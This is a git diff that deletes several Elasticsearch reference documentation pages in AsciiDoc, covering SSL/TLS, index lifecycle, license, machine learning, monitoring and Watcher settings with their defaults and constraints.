-tag::ssl-cipher-suites-values-java11[]
-Supported cipher suites vary depending on which version of Java you use. For
-example, for version 11 the default value is `TLS_AES_256_GCM_SHA384`,
-`TLS_AES_128_GCM_SHA256`, `TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384`,
-`TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256`, `TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384`,
-`TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256`, `TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384`,
-`TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256`, `TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384`,
-`TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256`, `TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA`,
-`TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA`, `TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA`,
-`TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA`, `TLS_RSA_WITH_AES_256_GCM_SHA384`,
-`TLS_RSA_WITH_AES_128_GCM_SHA256`, `TLS_RSA_WITH_AES_256_CBC_SHA256`,
-`TLS_RSA_WITH_AES_128_CBC_SHA256`, `TLS_RSA_WITH_AES_256_CBC_SHA`,
-`TLS_RSA_WITH_AES_128_CBC_SHA`.
-+
---
-NOTE: The default cipher suites list above includes TLSv1.3 ciphers and ciphers
-that require the _Java Cryptography Extension (JCE) Unlimited Strength
-Jurisdiction Policy Files_ for 256-bit AES encryption. If TLSv1.3 is not
-available, the TLSv1.3 ciphers `TLS_AES_256_GCM_SHA384` and
-`TLS_AES_128_GCM_SHA256` are not included in the default list. If 256-bit AES is
-unavailable, ciphers with `AES_256` in their names are not included in the
-default list. Finally, AES GCM has known performance issues in Java versions
-prior to 11 and is included in the default list only when using Java 11 or above.
-
-For more information, see Oracle's
-https://docs.oracle.com/en/java/javase/11/security/oracle-providers.html#GUID-7093246A-31A3-4304-AC5F-5FB6400405E2[Java Cryptography Architecture documentation].
---
-end::ssl-cipher-suites-values-java11[]
-
-tag::ssl-key-pem[]
-Path to a PEM encoded file containing the private key.
-+
-If HTTP client authentication is required, it uses this file. You cannot use
-this setting and `ssl.keystore.path` at the same time.
-end::ssl-key-pem[]
-
-tag::ssl-key-passphrase[]
-The passphrase that is used to decrypt the private key. Since the key might not
-be encrypted, this value is optional.
-+
-You cannot use this setting and `ssl.secure_key_passphrase` at the same time.
-end::ssl-key-passphrase[]
-
-tag::ssl-keystore-key-password[]
-The password for the key in the keystore. The default is the keystore password.
-+
-You cannot use this setting and `ssl.keystore.secure_password` at the same time.
-//TBD: You cannot use this setting and `ssl.keystore.secure_key_password` at the same time.
-end::ssl-keystore-key-password[]
-
-tag::ssl-keystore-password[]
-The password for the keystore.
-//TBD: You cannot use this setting and `ssl.keystore.secure_password` at the same time.
-end::ssl-keystore-password[]
-
-tag::ssl-keystore-path[]
-The path for the keystore file that contains a private key and certificate.
-+
-It must be either a Java keystore (jks) or a PKCS#12 file. You cannot use this
-setting and `ssl.key` at the same time.
-//TBD: It must be either a Java keystore (jks) or a PKCS#12 file.
-//TBD: You cannot use this setting and `ssl.key` at the same time.
-end::ssl-keystore-path[]
-
-tag::ssl-keystore-secure-key-password[]
-The password for the key in the keystore. The default is the keystore password.
-//TBD: You cannot use this setting and `ssl.keystore.key_password` at the same time.
-end::ssl-keystore-secure-key-password[]
-
-tag::ssl-keystore-secure-password[]
-The password for the keystore.
-//TBD: You cannot use this setting and `ssl.keystore.password` at the same time.
-end::ssl-keystore-secure-password[]
-
-tag::ssl-keystore-type-pkcs12[]
-The format of the keystore file. It must be either `jks` or `PKCS12`. If the
-keystore path ends in ".p12", ".pfx", or ".pkcs12", this setting defaults
-to `PKCS12`. Otherwise, it defaults to `jks`.
-end::ssl-keystore-type-pkcs12[]
-
-tag::ssl-secure-key-passphrase[]
-The passphrase that is used to decrypt the private key. Since the key might not
-be encrypted, this value is optional.
-//TBD: You cannot use this setting and `ssl.key_passphrase` at the same time.
-end::ssl-secure-key-passphrase[]
-
-tag::ssl-supported-protocols[]
-Supported protocols with versions. Valid protocols: `SSLv2Hello`,
-`SSLv3`, `TLSv1`, `TLSv1.1`, `TLSv1.2`, `TLSv1.3`. If the JVM's SSL provider supports TLSv1.3,
-the default is `TLSv1.3,TLSv1.2,TLSv1.1`. Otherwise, the default is
-`TLSv1.2,TLSv1.1`.
-+
---
-NOTE: If `xpack.security.fips_mode.enabled` is `true`, you cannot use `SSLv2Hello`
-or `SSLv3`. See <<fips-140-compliance>>.
-
---
-end::ssl-supported-protocols[]
-
-tag::ssl-truststore-password[]
-The password for the truststore.
-+
-You cannot use this setting and `ssl.truststore.secure_password` at the same
-time.
-//TBD: You cannot use this setting and `ssl.truststore.secure_password` at the same time.
-end::ssl-truststore-password[]
-
-tag::ssl-truststore-path[]
-The path for the keystore that contains the certificates to trust. It must be
-either a Java keystore (jks) or a PKCS#12 file.
-+
-You cannot use this setting and `ssl.certificate_authorities` at the same time.
-//TBD: You cannot use this setting and `ssl.certificate_authorities` at the same time.
-end::ssl-truststore-path[]
-
-tag::ssl-truststore-secure-password[]
-Password for the truststore.
-//TBD: You cannot use this setting and `ssl.truststore.password` at the same time.
-end::ssl-truststore-secure-password[]
-
-tag::ssl-truststore-type[]
-The format of the truststore file. It must be either `jks` or `PKCS12`. If the
-file name ends in ".p12", ".pfx" or "pkcs12", the default is `PKCS12`.
-Otherwise, it defaults to `jks`.
-end::ssl-truststore-type[]
-
-tag::ssl-truststore-type-pkcs11[]
-The format of the truststore file. For the Java keystore format, use `jks`. For
-PKCS#12 files, use `PKCS12`. For a PKCS#11 token, use `PKCS11`. The default is
-`jks`.
-end::ssl-truststore-type-pkcs11[]
-
-tag::ssl-verification-mode-values[]
-Controls the verification of certificates.
-+
-Valid values are:
-
- * `full`, which verifies that the provided certificate is signed by a trusted
-authority (CA) and also verifies that the server's hostname (or IP address)
-matches the names identified within the certificate.
- * `certificate`, which verifies that the provided certificate is signed by a
-trusted authority (CA), but does not perform any hostname verification.
- * `none`, which performs _no verification_ of the server's certificate. This
-mode disables many of the security benefits of SSL/TLS and should only be used
-after very careful consideration. It is primarily intended as a temporary
-diagnostic mechanism when attempting to resolve TLS errors; its use on
-production clusters is strongly discouraged.
-+
-The default value is `full`.
-end::ssl-verification-mode-values[]
diff --git a/docs/reference/settings/ilm-settings.asciidoc b/docs/reference/settings/ilm-settings.asciidoc
deleted file mode 100644
index 6aa79df9ec1..00000000000
--- a/docs/reference/settings/ilm-settings.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[role="xpack"]
-[[ilm-settings]]
-=== {ilm-cap} settings in {es}
-[subs="attributes"]
-++++
-<titleabbrev>{ilm-cap} settings</titleabbrev>
-++++
-
-These are the settings available for configuring <<index-lifecycle-management, {ilm}>> ({ilm-init}).
-
-==== Cluster level settings
-
-`xpack.ilm.enabled`::
-(<<static-cluster-setting,Static>>, Boolean)
-deprecated:[7.8.0,Basic License features are always enabled] +
-This deprecated setting has no effect and will be removed in Elasticsearch 8.0.
-
-`indices.lifecycle.history_index_enabled`::
-(<<static-cluster-setting,Static>>, Boolean)
-Whether ILM's history index is enabled. If enabled, ILM will record the
-history of actions taken as part of ILM policies to the `ilm-history-*`
-indices. Defaults to `true`.
-
-`indices.lifecycle.poll_interval`::
-(<<dynamic-cluster-setting,Dynamic>>, <<time-units, time unit value>>) 
-How often {ilm} checks for indices that meet policy criteria. Defaults to `10m`.
-
-==== Index level settings
-These index-level {ilm-init} settings are typically configured through index
-templates. For more information, see <<ilm-gs-create-policy>>.
-
-`index.lifecycle.indexing_complete`::
-(<<indices-update-settings,Dynamic>>, Boolean) 
-Indicates whether or not the index has been rolled over. 
-Automatically set to `true` when {ilm-init} completes the rollover action.
-You can explicitly set it to <<skipping-rollover, skip rollover>>.
-Defaults to `false`.
-
-`index.lifecycle.name`::
-(<<indices-update-settings, Dynamic>>, string) 
-The name of the policy to use to manage the index.
-
-[[index-lifecycle-origination-date]]
-`index.lifecycle.origination_date`::
-(<<indices-update-settings,Dynamic>>, long) 
-If specified, this is the timestamp used to calculate the index age for its phase transitions. 
-Use this setting if you create a new index that contains old data and 
-want to use the original creation date to calculate the index age. 
-Specified as a Unix epoch value.
-
-[[index-lifecycle-parse-origination-date]]
-`index.lifecycle.parse_origination_date`::
-(<<indices-update-settings,Dynamic>>, Boolean) 
-Set to `true` to parse the origination date from the index name. 
-This origination date is used to calculate the index age for its phase transitions. 
-The index name must match the pattern `^.*-{date_format}-\\d+`, 
-where the `date_format` is `yyyy.MM.dd` and the trailing digits are optional.
-An index that was rolled over would normally match the full format, 
-for example `logs-2016.10.31-000002`). 
-If the index name doesn't match the pattern, index creation fails.
-
-`index.lifecycle.rollover_alias`::
-(<<indices-update-settings,Dynamic>>, string) 
-The index alias to update when the index rolls over. Specify when using a
-policy that contains a rollover action. When the index rolls over, the alias is
-updated to reflect that the index is no longer the write index. For more
-information about rolling indices, see <<index-rollover, Rollover>>.
diff --git a/docs/reference/settings/images/monitoring-es-cgroup-true.png b/docs/reference/settings/images/monitoring-es-cgroup-true.png
deleted file mode 100644
index c8412642db5..00000000000
Binary files a/docs/reference/settings/images/monitoring-es-cgroup-true.png and /dev/null differ
diff --git a/docs/reference/settings/license-settings.asciidoc b/docs/reference/settings/license-settings.asciidoc
deleted file mode 100644
index de03444768f..00000000000
--- a/docs/reference/settings/license-settings.asciidoc
+++ /dev/null
@@ -1,17 +0,0 @@
-[role="xpack"]
-[[license-settings]]
-=== License settings
-
-You can configure this licensing setting in the `elasticsearch.yml` file.
-For more information, see
-{kibana-ref}/managing-licenses.html[License management].
-
-`xpack.license.self_generated.type`::
-(<<static-cluster-setting,Static>>)
-Set to `basic` (default) to enable basic {xpack} features. +
-+
---
-If set to `trial`, the self-generated license gives access only to all the features
-of a x-pack for 30 days. You can later downgrade the cluster to a basic license if
-needed.
---
diff --git a/docs/reference/settings/ml-settings.asciidoc b/docs/reference/settings/ml-settings.asciidoc
deleted file mode 100644
index ae1e00b521a..00000000000
--- a/docs/reference/settings/ml-settings.asciidoc
+++ /dev/null
@@ -1,176 +0,0 @@
-
-[role="xpack"]
-[[ml-settings]]
-=== Machine learning settings in Elasticsearch
-++++
-<titleabbrev>Machine learning settings</titleabbrev>
-++++
-
-[[ml-settings-description]]
-// tag::ml-settings-description-tag[]
-You do not need to configure any settings to use {ml}. It is enabled by default.
-
-IMPORTANT: {ml-cap} uses SSE4.2 instructions, so it works only on machines whose
-CPUs {wikipedia}/SSE4#Supporting_CPUs[support] SSE4.2. If you run {es} on older
-hardware, you must disable {ml} (by setting `xpack.ml.enabled` to `false`).
-
-// end::ml-settings-description-tag[]
-
-[discrete]
-[[general-ml-settings]]
-==== General machine learning settings
-
-`node.roles: [ ml ]`::
-(<<static-cluster-setting,Static>>) Set `node.roles` to contain `ml` to identify
-the node as a _{ml} node_ that is capable of running jobs. Every node is a {ml}
-node by default.
-+
-If you use the `node.roles` setting, then all required roles must be explicitly
-set. Consult <<modules-node>> to learn more.
-+
-IMPORTANT: On dedicated coordinating nodes or dedicated master nodes, do not set
-the `ml` role.
-
-
-`xpack.ml.enabled`::
-(<<static-cluster-setting,Static>>) Set to `true` (default) to enable {ml} APIs
-on the node.
-+
-If set to `false`, the {ml} APIs are disabled on the node. Therefore the node
-cannot open jobs, start {dfeeds}, or receive transport (internal) communication
-requests related to {ml} APIs. If the node is a coordinating node, {ml} requests
-from clients (including {kib}) also fail. For more information about disabling
-{ml} in specific {kib} instances, see
-{kibana-ref}/ml-settings-kb.html[{kib} {ml} settings].
-+
-IMPORTANT: If you want to use {ml-features} in your cluster, it is recommended
-that you set `xpack.ml.enabled` to `true` on all nodes. This is the default
-behavior. At a minimum, it must be enabled on all master-eligible nodes. If you
-want to use {ml-features} in clients or {kib}, it must also be enabled on all
-coordinating nodes.
-
-`xpack.ml.inference_model.cache_size`::
-(<<static-cluster-setting,Static>>) The maximum inference cache size allowed.
-The inference cache exists in the JVM heap on each ingest node. The cache
-affords faster processing times for the `inference` processor. The value can be
-a static byte sized value (i.e. "2gb") or a percentage of total allocated heap.
-The default is "40%". See also <<model-inference-circuit-breaker>>.
-
-[[xpack-interference-model-ttl]]
-// tag::interference-model-ttl-tag[]
-`xpack.ml.inference_model.time_to_live` {ess-icon}::
-(<<static-cluster-setting,Static>>) The time to live (TTL) for models in the
-inference model cache. The TTL is calculated from last access. The `inference`
-processor attempts to load the model from cache. If the `inference` processor
-does not receive any documents for the duration of the TTL, the referenced model
-is flagged for eviction from the cache. If a document is processed later, the
-model is again loaded into the cache. Defaults to `5m`.
-// end::interference-model-ttl-tag[]
-
-`xpack.ml.max_inference_processors`::
-(<<cluster-update-settings,Dynamic>>) The total number of `inference` type
-processors allowed across all ingest pipelines. Once the limit is reached,
-adding an `inference` processor to a pipeline is disallowed. Defaults to `50`.
-
-`xpack.ml.max_machine_memory_percent`::
-(<<cluster-update-settings,Dynamic>>) The maximum percentage of the machine's
-memory that {ml} may use for running analytics processes. (These processes are
-separate to the {es} JVM.) Defaults to `30` percent. The limit is based on the
-total memory of the machine, not current free memory. Jobs are not allocated to
-a node if doing so would cause the estimated memory use of {ml} jobs to exceed
-the limit.
-
-`xpack.ml.max_model_memory_limit`::
-(<<cluster-update-settings,Dynamic>>) The maximum `model_memory_limit` property
-value that can be set for any job on this node. If you try to create a job with
-a `model_memory_limit` property value that is greater than this setting value,
-an error occurs. Existing jobs are not affected when you update this setting.
-For more information about the `model_memory_limit` property, see
-<<put-analysislimits>>.
-
-[[xpack.ml.max_open_jobs]]
-`xpack.ml.max_open_jobs`::
-(<<cluster-update-settings,Dynamic>>) The maximum number of jobs that can run
-simultaneously on a node. Defaults to `20`. In this context, jobs include both
-{anomaly-jobs} and {dfanalytics-jobs}. The maximum number of jobs is also
-constrained by memory usage. Thus if the estimated memory usage of the jobs
-would be higher than allowed, fewer jobs will run on a node. Prior to version
-7.1, this setting was a per-node non-dynamic setting. It became a cluster-wide
-dynamic setting in version 7.1. As a result, changes to its value after node
-startup are used only after every node in the cluster is running version 7.1 or
-higher. The maximum permitted value is `512`.
-
-`xpack.ml.nightly_maintenance_requests_per_second`::
-(<<cluster-update-settings,Dynamic>>) The rate at which the nightly maintenance task
-deletes expired model snapshots and results. The setting is a proxy to the
-[requests_per_second](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-delete-by-query.html#_throttling_delete_requests)
-parameter used in the Delete by query requests and controls throttling.
-Valid values must be greater than `0.0` or equal to `-1.0` where `-1.0` means a default value
-is used. Defaults to `-1.0`
-
-`xpack.ml.node_concurrent_job_allocations`::
-(<<cluster-update-settings,Dynamic>>) The maximum number of jobs that can
-concurrently be in the `opening` state on each node. Typically, jobs spend a
-small amount of time in this state before they move to `open` state. Jobs that
-must restore large models when they are opening spend more time in the `opening`
-state. Defaults to `2`.
-
-[discrete]
-[[advanced-ml-settings]]
-==== Advanced machine learning settings
-
-These settings are for advanced use cases; the default values are generally
-sufficient:
-
-`xpack.ml.enable_config_migration`::
-(<<cluster-update-settings,Dynamic>>) Reserved.
-
-`xpack.ml.max_anomaly_records`::
-(<<cluster-update-settings,Dynamic>>) The maximum number of records that are
-output per bucket. The default value is `500`.
-
-`xpack.ml.max_lazy_ml_nodes`::
-(<<cluster-update-settings,Dynamic>>) The number of lazily spun up {ml} nodes.
-Useful in situations where {ml} nodes are not desired until the first {ml} job
-opens. It defaults to `0` and has a maximum acceptable value of `3`. If the
-current number of {ml} nodes is greater than or equal to this setting, it is
-assumed that there are no more lazy nodes available as the desired number
-of nodes have already been provisioned. If a job is opened and this setting has
-a value greater than zero and there are no nodes that can accept the job, the
-job stays in the `OPENING` state until a new {ml} node is added to the cluster
-and the job is assigned to run on that node.
-+
-IMPORTANT: This setting assumes some external process is capable of adding {ml}
-nodes to the cluster. This setting is only useful when used in conjunction with
-such an external process.
-
-`xpack.ml.process_connect_timeout`::
-(<<cluster-update-settings,Dynamic>>) The connection timeout for {ml} processes
-that run separately from the {es} JVM. Defaults to `10s`. Some {ml} processing
-is done by processes that run separately to the {es} JVM. When such processes
-are started they must connect to the {es} JVM. If such a process does not
-connect within the time period specified by this setting then the process is
-assumed to have failed. Defaults to `10s`. The minimum value for this setting is
-`5s`.
-
-[discrete]
-[[model-inference-circuit-breaker]]
-==== {ml-cap} circuit breaker settings
-
-`breaker.model_inference.limit`::
-(<<cluster-update-settings,Dynamic>>) Limit for the model inference breaker,
-which defaults to 50% of the JVM heap. If the parent circuit breaker is less
-than 50% of the JVM heap, it is bound to that limit instead. See
-<<circuit-breaker>>.
-
-`breaker.model_inference.overhead`::
-(<<cluster-update-settings,Dynamic>>) A constant that all accounting estimations
-are multiplied by to determine a final estimation. Defaults to 1. See
-<<circuit-breaker>>.
-
-`breaker.model_inference.type`::
-(<<static-cluster-setting,Static>>) The underlying type of the circuit breaker.
-There are two valid options: `noop` and `memory`. `noop` means the circuit
-breaker does nothing to prevent too much memory usage. `memory` means the
-circuit breaker tracks the memory used by inference models and can potentially
-break and prevent `OutOfMemory` errors. The default is `memory`.
diff --git a/docs/reference/settings/monitoring-settings.asciidoc b/docs/reference/settings/monitoring-settings.asciidoc
deleted file mode 100644
index e5df39e2f9c..00000000000
--- a/docs/reference/settings/monitoring-settings.asciidoc
+++ /dev/null
@@ -1,288 +0,0 @@
-[role="xpack"]
-[[monitoring-settings]]
-=== Monitoring settings in {es}
-++++
-<titleabbrev>Monitoring settings</titleabbrev>
-++++
-
-By default, {es} {monitor-features} are enabled but data collection is disabled.
-To enable data collection, use the `xpack.monitoring.collection.enabled` setting.
-
-Except where noted otherwise, these settings can be dynamically updated on a
-live cluster with the <<cluster-update-settings,cluster-update-settings>> API.
-
-To adjust how monitoring data is displayed in the monitoring UI, configure
-{kibana-ref}/monitoring-settings-kb.html[`xpack.monitoring` settings] in
-`kibana.yml`. To control how monitoring data is collected from {ls},
-configure monitoring settings in `logstash.yml`.
-
-For more information, see <<monitor-elasticsearch-cluster>>.
-
-[discrete]
-[[general-monitoring-settings]]
-==== General monitoring settings
-
-`xpack.monitoring.enabled`::
-deprecated:[7.8.0,Basic License features should always be enabled]
-(<<static-cluster-setting,Static>>) This deprecated setting has no effect.
-
-[discrete]
-[[monitoring-collection-settings]]
-==== Monitoring collection settings
-
-[[monitoring-settings-description]]
-// tag::monitoring-settings-description-tag[]
-The `xpack.monitoring.collection` settings control how data is collected from
-your {es} nodes.
-// end::monitoring-settings-description-tag[]
-
-`xpack.monitoring.collection.enabled`::
-(<<cluster-update-settings,Dynamic>>) Set to `true` to enable the collection of
-monitoring data. When this setting is `false` (default), {es} monitoring data is
-not collected and all monitoring data from other sources such as {kib}, Beats,
-and {ls} is ignored.
-
-[[xpack-monitoring-collection-interval]]
-// tag::monitoring-collection-interval-tag[]
-`xpack.monitoring.collection.interval` {ess-icon}::
-deprecated:[6.3.0,"Use `xpack.monitoring.collection.enabled` set to `false` instead."] 
-(<<cluster-update-settings,Dynamic>>) Setting to `-1` to disable data collection
-is no longer supported beginning with 7.0.0.
-+
-Controls how often data samples are collected. Defaults to `10s`. If you
-modify the collection interval, set the `xpack.monitoring.min_interval_seconds`
-option in `kibana.yml` to the same value.
-// end::monitoring-collection-interval-tag[]
-
-`xpack.monitoring.elasticsearch.collection.enabled`::
-(<<cluster-update-settings,Dynamic>>) Controls whether statistics about your
-{es} cluster should be collected. Defaults to `true`. This is different from 
-`xpack.monitoring.collection.enabled`, which allows you to enable or disable all
-monitoring collection. However, this setting simply disables the collection of
-{es} data while still allowing other data (e.g., {kib}, {ls}, Beats, or APM
-Server monitoring data) to pass through this cluster.
-
-`xpack.monitoring.collection.cluster.stats.timeout`::
-(<<cluster-update-settings,Dynamic>>) Timeout for collecting the cluster
-statistics, in <<time-units,time units>>. Defaults to `10s`.
-
-`xpack.monitoring.collection.node.stats.timeout`::
-(<<cluster-update-settings,Dynamic>>) Timeout for collecting the node statistics,
-in <<time-units,time units>>. Defaults to `10s`.
-
-`xpack.monitoring.collection.indices`::
-(<<cluster-update-settings,Dynamic>>) Controls which indices the
-{monitor-features} collect data from. Defaults to all indices. Specify the index
-names as a comma-separated list, for example `test1,test2,test3`. Names can
-include wildcards, for example `test*`. You can explicitly exclude indices by
-prepending `-`. For example `test*,-test3` will monitor all indexes that start
-with `test` except for `test3`. System indices like .security* or .kibana*
-always start with a `.` and generally should be monitored. Consider adding `.*`
-to the list of indices ensure monitoring of system indices. For example:
-`.*,test*,-test3`
-
-`xpack.monitoring.collection.index.stats.timeout`::
-(<<cluster-update-settings,Dynamic>>) Timeout for collecting index statistics,
-in <<time-units,time units>>. Defaults to `10s`.
-
-`xpack.monitoring.collection.index.recovery.active_only`::
-(<<cluster-update-settings,Dynamic>>) Controls whether or not all recoveries are
-collected. Set to `true` to collect only active recoveries. Defaults to `false`.
-
-`xpack.monitoring.collection.index.recovery.timeout`::
-(<<cluster-update-settings,Dynamic>>) Timeout for collecting the recovery
-information, in <<time-units,time units>>. Defaults to `10s`.
-
-[[xpack-monitoring-history-duration]]
-// tag::monitoring-history-duration-tag[]
-`xpack.monitoring.history.duration` {ess-icon}::
-(<<cluster-update-settings,Dynamic>>) Retention duration beyond which the
-indices created by a monitoring exporter are automatically deleted, in
-<<time-units,time units>>. Defaults to `7d` (7 days).
-+
---
-This setting has a minimum value of `1d` (1 day) to ensure that something is
-being monitored and it cannot be disabled.
-
-IMPORTANT: This setting currently impacts only `local`-type exporters. Indices
-created using the `http` exporter are not deleted automatically.
-
---
-
-// end::monitoring-history-duration-tag[]
-
-`xpack.monitoring.exporters`::
-(<<static-cluster-setting,Static>>) Configures where the agent stores monitoring
-data. By default, the agent uses a local exporter that indexes monitoring data
-on the cluster where it is installed. Use an HTTP exporter to send data to a
-separate monitoring cluster. For more information, see
-<<local-exporter-settings,Local exporter settings>>,
-<<http-exporter-settings,HTTP exporter settings>>, and <<how-monitoring-works>>.
-
-[discrete]
-[[local-exporter-settings]]
-==== Local exporter settings
-
-The `local` exporter is the default exporter used by {monitor-features}. As the
-name is meant to imply, it exports data to the _local_ cluster, which means that
-there is not much needed to be configured.
-
-If you do not supply _any_ exporters, then the {monitor-features} automatically
-create one for you. If any exporter is provided, then no default is added.
-
-[source,yaml]
-----------------------------------
-xpack.monitoring.exporters.my_local:
-  type: local
-----------------------------------
-
-`type`::
-The value for a Local exporter must always be `local` and it is required.
-
-`use_ingest`::
-Whether to supply a placeholder pipeline to the cluster and a pipeline processor
-with every bulk request. The default value is `true`. If disabled, then it means
-that it will not use pipelines, which means that a future release cannot
-automatically upgrade bulk requests to future-proof them.
-
-`cluster_alerts.management.enabled`::
-
-Whether to create cluster alerts for this cluster. The default value is `true`.
-To use this feature, {watcher} must be enabled.  If you have a basic license,
-cluster alerts are not displayed.
-
-`wait_master.timeout`::
-Time to wait for the master node to setup `local` exporter for monitoring, in
-<<time-units,time units>>. After that wait period, the non-master nodes warn the
-user for possible missing configuration. Defaults to `30s`.
-
-[discrete]
-[[http-exporter-settings]]
-==== HTTP exporter settings
-
-The following lists settings that can be supplied with the `http` exporter.
-All settings are shown as what follows the name you select for your exporter:
-
-[source,yaml]
-----------------------------------
-xpack.monitoring.exporters.my_remote:
-  type: http
-  host: ["host:port", ...]
-----------------------------------
-
-`type`::
-The value for an HTTP exporter must always be `http` and it is required.
-
-`host`::
-Host supports multiple formats, both as an array or as a single value. Supported
-formats include `hostname`, `hostname:port`,
-`http://hostname` `http://hostname:port`, `https://hostname`, and
-`https://hostname:port`. Hosts cannot be assumed. The default scheme is always
-`http` and the default port is always `9200` if not supplied as part of the
-`host` string.
-+
-[source,yaml]
-----------------------------------
-xpack.monitoring.exporters:
-  example1:
-    type: http
-    host: "10.1.2.3"
-  example2:
-    type: http
-    host: ["http://10.1.2.4"]
-  example3:
-    type: http
-    host: ["10.1.2.5", "10.1.2.6"]
-  example4:
-    type: http
-    host: ["https://10.1.2.3:9200"]
-----------------------------------
-
-`auth.username`::
-The username is required if `auth.secure_password` or `auth.password` is
-supplied.
-
-`auth.secure_password`::
-(<<secure-settings,Secure>>, <<reloadable-secure-settings,reloadable>>) The
-password for the `auth.username`. Takes precedence over `auth.password` if it is
-also specified.
-
-`auth.password`::
-deprecated:[7.7.0,"Use `auth.secure_password` instead."] The password for the
-`auth.username`. If `auth.secure_password` is also specified, this setting is
-ignored.
-
-`connection.timeout`::
-Amount of time that the HTTP connection is supposed to wait for a socket to open
-for the request, in <<time-units,time units>>. The default value is `6s`.
-
-`connection.read_timeout`::
-Amount of time that the HTTP connection is supposed to wait for a socket to
-send back a response, in <<time-units,time units>>. The default value is
-`10 * connection.timeout` (`60s` if neither are set).
-
-`ssl`::
-Each HTTP exporter can define its own TLS / SSL settings or inherit them. See
-<<ssl-monitoring-settings>>.
-
-`proxy.base_path`::
-The base path to prefix any outgoing request, such as `/base/path` (e.g., bulk
-requests would then be sent as `/base/path/_bulk`). There is no default value.
-
-`headers`::
-Optional headers that are added to every request, which can assist with routing
-requests through proxies.
-+
-[source,yaml]
-----------------------------------
-xpack.monitoring.exporters.my_remote:
-  headers:
-    X-My-Array: [abc, def, xyz]
-    X-My-Header: abc123
-----------------------------------
-+
-Array-based headers are sent `n` times where `n` is the size of the array.
-`Content-Type` and `Content-Length` cannot be set. Any headers created by the
-monitoring agent will override anything defined here.
-
-`index.name.time_format`::
-A mechanism for changing the default date suffix for the, by default, daily
-monitoring indices. The default value is `yyyy.MM.dd`, which is why the indices
-are created daily.
-
-`use_ingest`::
-Whether to supply a placeholder pipeline to the monitoring cluster and a
-pipeline processor with every bulk request. The default value is `true`. If
-disabled, then it means that it will not use pipelines, which means that a
-future release cannot automatically upgrade bulk requests to future-proof them.
-
-`cluster_alerts.management.enabled`::
-Whether to create cluster alerts for this cluster. The default value is `true`.
-To use this feature, {watcher} must be enabled. If you have a basic license,
-cluster alerts are not displayed.
-
-`cluster_alerts.management.blacklist`::
-Prevents the creation of specific cluster alerts. It also removes any applicable
-watches that already exist in the current cluster.
-+
---
-You can add any of the following watch identifiers to the list of blocked alerts:
-
-* `elasticsearch_cluster_status`
-* `elasticsearch_version_mismatch`
-* `elasticsearch_nodes`
-* `kibana_version_mismatch`
-* `logstash_version_mismatch`
-* `xpack_license_expiration`
-
-For example: `["elasticsearch_version_mismatch","xpack_license_expiration"]`.
---
-
-[[ssl-monitoring-settings]]
-:ssl-prefix:             xpack.monitoring.exporters.$NAME
-:component:              {monitoring}
-:verifies:
-:server!:
-:ssl-context:            monitoring
-
-include::ssl-settings.asciidoc[]
diff --git a/docs/reference/settings/notification-settings.asciidoc b/docs/reference/settings/notification-settings.asciidoc
deleted file mode 100644
index 335bdf6bbda..00000000000
--- a/docs/reference/settings/notification-settings.asciidoc
+++ /dev/null
@@ -1,447 +0,0 @@
-[role="xpack"]
-[[notification-settings]]
-=== {watcher} settings in Elasticsearch
-
-[subs="attributes"]
-++++
-<titleabbrev>{watcher} settings</titleabbrev>
-++++
-
-[[notification-settings-description]]
-// tag::notification-settings-description-tag[]
-You configure {watcher} settings to set up {watcher} and send notifications via
-<<email-notification-settings,email>>,
-<<slack-notification-settings,Slack>>, and
-<<pagerduty-notification-settings, PagerDuty>>.
-
-All of these settings can be added to the `elasticsearch.yml` configuration file,
-with the exception of the secure settings, which you add to the {es} keystore.
-For more information about creating and updating the {es} keystore, see
-<<secure-settings>>. Dynamic settings can also be updated across a cluster with the
-<<cluster-update-settings,cluster update settings API>>.
-// end::notification-settings-description-tag[]
-
-[[general-notification-settings]]
-==== General Watcher Settings
-`xpack.watcher.enabled`::
-(<<static-cluster-setting,Static>>)
-Set to `false` to disable {watcher} on the node.
-
-[[xpack-watcher-encrypt-sensitive-data]]
-// tag::watcher-encrypt-sensitive-data-tag[]
-`xpack.watcher.encrypt_sensitive_data` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Set to `true` to encrypt sensitive data. If this setting is enabled, you
-must also specify the `xpack.watcher.encryption_key` setting. For more
-information, see <<encrypting-data>>.
-// end::watcher-encrypt-sensitive-data-tag[]
-
-`xpack.watcher.encryption_key`::
-(<<secure-settings,Secure>>)
-Specifies the path to a file that contains a key for encrypting sensitive data.
-If `xpack.watcher.encrypt_sensitive_data` is set to `true`, this setting is
-required. For more information, see <<encrypting-data>>.
-
-[[xpack-watcher-history-cleaner-service]]
-// tag::watcher-history-cleaner-service-tag[]
-`xpack.watcher.history.cleaner_service.enabled` {ess-icon}::
-(<<dynamic-cluster-setting,Dynamic>>)
-added:[6.3.0,Default changed to `true`.]
-deprecated:[7.0.0,Watcher history indices are now managed by the `watch-history-ilm-policy` ILM policy]
-+
-Set to `true` (default) to enable the cleaner service. The cleaner service
-removes previous versions of {watcher} indices (for example,
-`.watcher-history*`) when it determines that they are old. The duration of
-{watcher} indices is determined by the `xpack.monitoring.history.duration`
-setting, which defaults to 7 days. For more information about that setting,
-see <<monitoring-settings>>.
-// end::watcher-history-cleaner-service-tag[]
-
-`xpack.http.proxy.host`::
-(<<static-cluster-setting,Static>>)
-Specifies the address of the proxy server to use to connect to HTTP services.
-
-`xpack.http.proxy.port`::
-(<<static-cluster-setting,Static>>)
-Specifies the port number to use to connect to the proxy server.
-
-`xpack.http.proxy.scheme`::
-(<<static-cluster-setting,Static>>)
-Protocol used to communicate with the proxy server. Valid values are `http` and
-`https`. Defaults to the protocol used in the request.
-
-`xpack.http.default_connection_timeout`::
-(<<static-cluster-setting,Static>>)
-The maximum period to wait until abortion of the request, when a
-connection is being initiated.
-
-`xpack.http.default_read_timeout`::
-(<<static-cluster-setting,Static>>)
